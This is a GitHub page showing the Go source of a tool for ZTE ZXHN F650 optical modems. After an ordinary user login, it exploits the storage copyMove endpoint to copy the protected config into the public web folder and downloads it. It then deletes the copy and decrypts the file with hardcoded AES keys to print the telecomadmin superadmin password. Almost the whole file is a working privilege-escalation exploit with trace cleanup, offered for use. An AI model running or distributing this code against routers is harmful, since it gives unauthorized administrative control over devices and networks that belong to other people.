forked from voidxxl7/ZXHN-F650-PassReader
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
342 lines (303 loc) · 8.43 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
package main
import (
"bufio"
"bytes"
"compress/zlib"
"crypto/aes"
"crypto/cipher"
"crypto/sha256"
"encoding/binary"
"encoding/json"
"errors"
"flag"
"fmt"
"io"
"net/http"
"net/url"
"os"
"strings"
)
var (
Host = "http://192.168.1.1"
UrlLogin = Host + "/cgi-bin/luci"
UrlGetToken = Host + "/cgi-bin/luci/"
UrlGetDevInfo = Host + "/cgi-bin/luci/admin/settings/gwinfo?get=all"
UrlExploit = Host + "/cgi-bin/luci/admin/storage/copyMove"
UrlDownCfg = Host + ":8080/db_user_cfg.xml"
UrlDeleteFile = Host + "/cgi-bin/luci/admin/storage/deleteFiles"
)
var (
help bool
host string
username string
password string
downloadOnly bool
cfgFile string
)
type F650 struct {
cookie *http.Cookie
token string
isLogin bool
version Version
}
type Version struct {
DevType string `json:"DevType"`
ProductCls string `json:"ProductCls"`
SWVer string `json:"SWVer"`
}
type Bytes []byte
func init() {
flag.BoolVar(&help, "help", false, "帮助")
flag.StringVar(&host, "h", "192.168.1.1", "光猫登录ip,默认为192.168.1.1(不需要http://)")
flag.StringVar(&username, "u", "useradmin", "光猫普通用户账号,默认为useradmin")
flag.StringVar(&password, "p", "", "光猫的管理密码")
flag.BoolVar(&downloadOnly, "d", false, "只下载db_user_cfg.xml到当前目录")
flag.StringVar(&cfgFile, "f", "", "从本地文件中读取并尝试解密,解密后的文件将会保存到新的文件中")
}
func main() {
flag.Parse()
if help {
flag.Usage()
os.Exit(0)
}
if len(cfgFile) > 0 {
data, err := os.ReadFile(cfgFile)
if err != nil {
panic(err)
}
decryptAndPrint(data)
decryptAndSaveToFile(data)
os.Exit(0)
}
if host != "" {
Host = fmt.Sprintf("http://%s", host)
}
if len(password) == 0 {
scanner := bufio.NewScanner(os.Stdin)
fmt.Printf("用户名: %s\n", username)
fmt.Printf("密 码: ")
if scanner.Scan() {
password = scanner.Text()
}
}
pauseIfNoArgs := func () {
if len(os.Args) == 1 {
bufio.NewScanner(os.Stdin).Scan()
}
}
f, err := login(username, password)
if err != nil {
fmt.Println(err)
pauseIfNoArgs()
os.Exit(1)
}
f.PrintDevInfo()
f.Exploit()
cfgData := f.DownConfig()
if downloadOnly {
os.WriteFile("db_user_cfg.xml", cfgData, os.ModePerm)
f.Clear()
os.Exit(0)
}
decryptAndPrint(cfgData)
f.Clear()
pauseIfNoArgs()
}
func login(username, psd string) (*F650, error) {
f650 := &F650{}
client := http.Client{CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}}
values := url.Values{}
values.Add("username", username)
values.Add("psd", psd)
resp, err := client.PostForm(UrlLogin, values)
if err != nil {
return nil, err
}
if resp.StatusCode == http.StatusFound {
f650.cookie = resp.Cookies()[0]
f650.isLogin = true
} else {
return nil, errors.New("登录失败: 账号或密码错误!")
}
// 获取token
req, err := http.NewRequest(http.MethodGet, UrlGetToken, nil)
if err != nil {
return nil, err
}
req.AddCookie(f650.cookie)
resp, err = client.Do(req)
if err != nil {
return nil, err
}
tokenBody, err := io.ReadAll(resp.Body)
resp.Body.Close()
if err == nil {
str := string(tokenBody)
index := strings.Index(string(tokenBody), "token")
if index >= 0 {
f650.token = str[index+8 : index+8+32]
} else {
return nil, errors.New("获取token失败!")
}
} else {
return nil, err
}
// 获取版本
req, _ = http.NewRequest(http.MethodGet, UrlGetDevInfo, nil)
req.AddCookie(f650.cookie)
resp, err = client.Do(req)
if err == nil {
verBody, err := io.ReadAll(resp.Body)
resp.Body.Close()
version := Version{}
if err == nil {
json.Unmarshal(verBody, &version)
f650.version = version
}
}
fmt.Println("\n登录成功")
return f650, nil
}
func (f *F650) Exploit() {
values := url.Values{}
values.Add("token", f.token)
values.Add("opstr", "copy|//userconfig/cfg|/home/httpd/public|db_user_cfg.xml")
values.Add("fileLists", "db_user_cfg.xml/")
values.Add("_", "0.5610212606529983")
// 部分设备只能使用post请求,因此这里两种请求都用一次
// Get
Url, _ := url.Parse(UrlExploit)
Url.RawQuery = values.Encode()
req, _ := http.NewRequest(http.MethodGet, Url.String(), nil)
req.AddCookie(f.cookie)
(&http.Client{}).Do(req)
// Post
req, _ = http.NewRequest(http.MethodPost, UrlExploit, strings.NewReader(values.Encode()))
req.AddCookie(f.cookie)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
(&http.Client{}).Do(req)
}
func (f *F650) DownConfig() []byte {
req, _ := http.NewRequest(http.MethodGet, UrlDownCfg, nil)
resp, err := (&http.Client{}).Do(req)
if err != nil || resp.StatusCode != http.StatusOK {
panic(err)
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return body
}
func (f *F650) Clear() {
values := url.Values{}
values.Add("token", f.token)
values.Add("path", "//home/httpd/public")
values.Add("fileLists", "db_user_cfg.xml/")
values.Add("_", "0.5610212606529983")
req, _ := http.NewRequest(http.MethodPost, UrlDeleteFile, strings.NewReader(values.Encode()))
req.AddCookie(f.cookie)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
(&http.Client{}).Do(req)
}
func (f *F650) PrintDevInfo() {
fmt.Println("-----------------------------------------")
fmt.Printf("设备类型:%s\n设备型号:%s\n固件版本:%s\n",
f.version.DevType, f.version.ProductCls, f.version.SWVer)
fmt.Println("-----------------------------------------")
}
func decryptAndPrint(data []byte) {
{
fmt.Println("CRC")
origin, _ := CRC(data)
user, spwd, _ := readPass(origin)
fmt.Printf("\t超管账号: %s\n", user)
fmt.Printf("\t超管密码: %s\n", spwd)
}
{
fmt.Println("AESCBC")
origin, _ := AESCBC(data)
user, spwd, _ := readPass(origin)
fmt.Printf("\t超管账号: %s\n", user)
fmt.Printf("\t超管密码: %s\n", spwd)
}
}
func decryptAndSaveToFile(data []byte) {
{
origin, err := CRC(data)
if err == nil {
os.WriteFile("db_user_cfg_crc.xml", origin, os.ModePerm)
}
}
{
origin, err := AESCBC(data)
if err == nil {
os.WriteFile("db_user_cfg_aescbc.xml", origin, os.ModePerm)
}
}
}
func readPass(data []byte) (username, pwd string, err error) {
index := bytes.Index(data, []byte("telecomadmin"))
if index < 0 {
return "", "", errors.New("似乎不支持你的光猫")
}
index = bytes.Index(data[index:], []byte("val=\"")) + index + len("val=\"")
end := bytes.Index(data[index:], []byte("\"")) + index
return "telecomadmin", string(data[index:end]), nil
}
func CRC(data []byte) (dData []byte, err error) {
defer func() {
if er := recover(); er != nil {
fmt.Println(er)
dData, err = nil, errors.New("CRC:无法解密")
}
}()
var nextOff, blockSize uint32 = 60, 0
var out bytes.Buffer
for nextOff != 0 {
blockSize = unpackI(data[nextOff+4 : nextOff+8])
blockData := data[nextOff+12 : nextOff+12+blockSize]
r, err := zlib.NewReader(bytes.NewBuffer(blockData))
if err != nil {
return nil, err
}
io.Copy(&out, r)
nextOff = unpackI(data[nextOff+8 : nextOff+12])
}
return out.Bytes(), nil
}
func AESCBC(data []byte) (dData []byte, err error) {
defer func() {
if er := recover(); er != nil {
fmt.Println(er)
dData, err = nil, errors.New("AESCBC:无法解密")
}
}()
sign := unpackI(data[4:8])
key := []byte("8cc72b05705d5c46f412af8cbed55aad")[:31]
iv := []byte("667b02a85c61c786def4521b060265e8")[:31]
if sign != 4 {
key, iv = []byte("PON_Dkey"), []byte("PON_DIV")
}
keyArr, ivArr := sha256.Sum256(key), sha256.Sum256(iv)
key, iv = keyArr[:], ivArr[:16]
block, _ := aes.NewCipher(key)
mode := cipher.NewCBCDecrypter(block, iv)
var nextOff, blockSize uint32 = 60, 0
var out bytes.Buffer
for nextOff != 0 {
blockSize = unpackI(data[nextOff+4 : nextOff+8])
blockData := make([]byte, blockSize)
copy(blockData, data[nextOff+12:nextOff+12+blockSize])
mode.CryptBlocks(blockData, blockData)
out.Write(blockData)
nextOff = unpackI(data[nextOff+8 : nextOff+12])
}
return CRC(out.Bytes())
}
func unpackI(data []byte) uint32 {
var res uint32
buffer := bytes.NewBuffer(data)
binary.Read(buffer, binary.BigEndian, &res)
return res
}